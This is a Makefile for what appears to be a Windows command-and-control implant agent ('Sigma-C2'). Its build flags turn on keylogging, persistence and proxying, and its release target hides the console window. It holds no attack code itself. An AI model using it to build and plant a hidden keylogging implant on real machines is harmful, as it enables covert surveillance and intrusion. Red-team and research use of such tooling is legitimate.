Files
Sigma-C2/agent/Makefile

131 lines
4.1 KiB
Makefile

# Makefile Build Options Cheat Sheet
# Basic Build Commands:
# make - Default build with testing code and console window
# make all - Same as make
# make release - Production build (no testing code, no console window)
# make size-opt - Build with maximum size optimizations
# make clean - Remove all object files and executable
# make run - Build and run the executable
# make info - Show current build configuration
# Feature Flags - Enable features by setting variables:
# make ENABLE_PROXY=TRUE - Enable proxy functionality
# make ENABLE_PERSISTENCE=TRUE - Enable persistence
# make ENABLE_KEYLOGGER=TRUE - Enable keylogger
# make ENABLE_PROXY=TRUE ENABLE_PERSISTENCE=TRUE ENABLE_KEYLOGGER=TRUE - Enable multiple features
# Common Build Combinations:
# make ENABLE_PROXY=TRUE ENABLE_PERSISTENCE=TRUE ENABLE_KEYLOGGER=TRUE - Development build with all features
# make release ENABLE_PROXY=TRUE - Production build with proxy
# make size-opt - Size-optimized build with minimal features
# make release ENABLE_PROXY=TRUE ENABLE_PERSISTENCE=TRUE ENABLE_KEYLOGGER=TRUE - Full-featured release build
# Build Types:
# Default - Testing build with console window visible
# Release - Production build, no console window (-mwindows flag)
# Size-opt - Maximum size optimization with function/data sections removal
# Compiler and flags
CC = x86_64-w64-mingw32-gcc
LDFLAGS = -lws2_32 -liphlpapi -lwinhttp
INCLUDE_DIR = -I.
SRC_DIR = src
OBJ_DIR = obj
BIN_DIR = bin
# Define default flags
CFLAGS = -DTESTING_BUILD
# Define feature flags
ENABLE_PROXY = FALSE
ENABLE_PERSISTENCE = FALSE
ENABLE_KEYLOGGER = FALSE
# Set transport type and binary name
EXEC = $(BIN_DIR)/agent.exe
# Basic source files (always included)
SRC_FILES = agent.c aes.c
# Add proxy files conditionally
ifeq ($(ENABLE_PROXY),TRUE)
CFLAGS += -DENABLE_PROXY=TRUE
else
CFLAGS += -DENABLE_PROXY=FALSE
endif
# Add persistence conditionally
ifeq ($(ENABLE_PERSISTENCE),TRUE)
CFLAGS += -DENABLE_PERSISTENCE=TRUE
else
CFLAGS += -DENABLE_PERSISTENCE=FALSE
endif
# Add keylogger conditionally
ifeq ($(ENABLE_KEYLOGGER),TRUE)
CFLAGS += -DENABLE_KEYLOGGER=TRUE
else
CFLAGS += -DENABLE_KEYLOGGER=FALSE
endif
# Generate source file paths
SOURCES = $(addprefix $(SRC_DIR)/, $(SRC_FILES))
# Object files from source files (flatten directory structure)
OBJECTS = $(addprefix $(OBJ_DIR)/, $(addsuffix .o, $(basename $(notdir $(SRC_FILES)))))
# Create output directories if they don't exist
$(shell mkdir -p $(OBJ_DIR) $(BIN_DIR))
# Default target: Compile and link everything
all: $(EXEC)
# Link the object files into the final executable
$(EXEC): $(OBJECTS)
$(CC) $(OBJECTS) -o $(EXEC) $(LDFLAGS)
# Compile each .c file into a .o object file (flatten directory structure)
$(OBJ_DIR)/%.o: $(SRC_DIR)/%.c
$(CC) $(CFLAGS) $(INCLUDE_DIR) -c $< -o $@
$(OBJ_DIR)/%.o: $(SRC_DIR)/*/%.c
$(CC) $(CFLAGS) $(INCLUDE_DIR) -c $< -o $@
# Build with size optimization
size-opt: CFLAGS += -ffunction-sections -fdata-sections -flto -Os
size-opt: LDFLAGS += -Wl,--gc-sections -s -flto
size-opt: clean all
@echo "Built with additional size optimizations"
# Build without testing code and without console window
release: CFLAGS := $(filter-out -DTESTING_BUILD,$(CFLAGS))
release: LDFLAGS += -mwindows
release: clean all
@echo "Built release version (no testing code, no console window)"
# Clean up object files and the executable
clean:
rm -rf $(OBJ_DIR)/* $(BIN_DIR)/agent_*.exe $(SRC_DIR)/agent*.exe
# Show current configuration
info:
@echo "Build configuration:"
@echo " Binary: $(EXEC)"
@echo " ENABLE_PROXY: $(ENABLE_PROXY)"
@echo " ENABLE_PERSISTENCE: $(ENABLE_PERSISTENCE)"
@echo " ENABLE_KEYLOGGER: $(ENABLE_KEYLOGGER)"
@echo " Testing build: $(filter -DTESTING_BUILD,$(CFLAGS))"
@echo " Source files: $(notdir $(SOURCES))"
@echo " CFLAGS: $(CFLAGS)"
@echo " LDFLAGS: $(LDFLAGS)"
@echo " INCLUDE_DIR: $(INCLUDE_DIR)"
install:
@echo "Install target not implemented."
.PHONY: all clean info size-opt release